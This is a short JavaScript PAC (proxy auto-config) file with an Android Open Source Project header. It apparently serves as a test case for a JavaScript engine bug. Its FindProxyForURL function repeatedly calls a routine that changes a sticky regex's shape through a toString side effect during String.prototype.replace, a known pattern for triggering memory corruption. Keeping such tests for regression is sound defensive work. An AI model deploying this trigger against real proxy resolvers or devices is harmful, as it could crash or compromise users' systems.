blob: 670e870edb03eee95d145ac8f522093efe8d0a90 [file] [log] [blame]
/*
* Copyright (C) 2019 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
function FindProxyForURL(url, host){
for(var i = 0;i < 0x1000;i++){
tt();
}
return "DIRECT";
}
function tt(){
var evil_o = {};
var reg = /abc/y;
var num = {};
num.toString = function(){
change_to_dict();
return 0x0;
}
function change_to_dict(){
for(var i = 0;i < 0x100;i++){
reg["a"+i.toString(16)] = i;
}
}
evil_o.toString = function(){
//change_to_dict();
reg.lastIndex = num;
return "abc".repeat(0x1000);
}
String.prototype.replace.call(evil_o,reg,function(){});
}